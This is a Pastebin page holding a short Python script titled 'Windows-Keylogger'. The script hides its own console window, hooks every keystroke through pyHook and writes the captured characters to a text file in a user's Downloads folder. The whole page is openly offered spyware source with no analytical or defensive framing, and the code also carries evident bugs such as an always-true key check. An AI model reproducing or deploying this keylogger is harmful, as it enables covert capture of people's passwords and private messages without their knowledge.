Advertisement
1337ings

[Python] Windows-Keylogger

Feb 13th, 2017
769
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.77 KB | None | 0 0
  1. # simple windows keylogger #
  2.  
  3. import win32console
  4. import win32gui
  5. import pythoncom
  6. import pyHook
  7.  
  8. win=win32console.GetConsoleWindow()
  9. win32gui.ShowWindow(win,0)
  10.  
  11. def OnKeyboardEvent(event):
  12. if event.Ascii==5:
  13. _exit(1)
  14. if event.Ascii !=0 or 8:
  15. f=open('C:\Users\Poole\Downloads\output.txt','r+')
  16. buffer=f.read()
  17. f.close()
  18. f=open('C:\Users\Poole\Downloads\output.txt','w')
  19. keylogs=chr(event.Ascii)
  20. if event.Ascii==13:
  21. keylogs='/n'
  22. buffer+=keylogs
  23. f.write(buffer)
  24. f.close()
  25. f1 = open('C:\Users\Poole\Downloads\output.txt', 'w')
  26. f1.write('Incoming keys:\n')
  27. f1.close()
  28. hm=pyHook.HookManager()
  29. hm.KeyDown=OnKeyboardEvent
  30. hm.HookKeyboard()
  31. pythoncom.PumpMessages()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement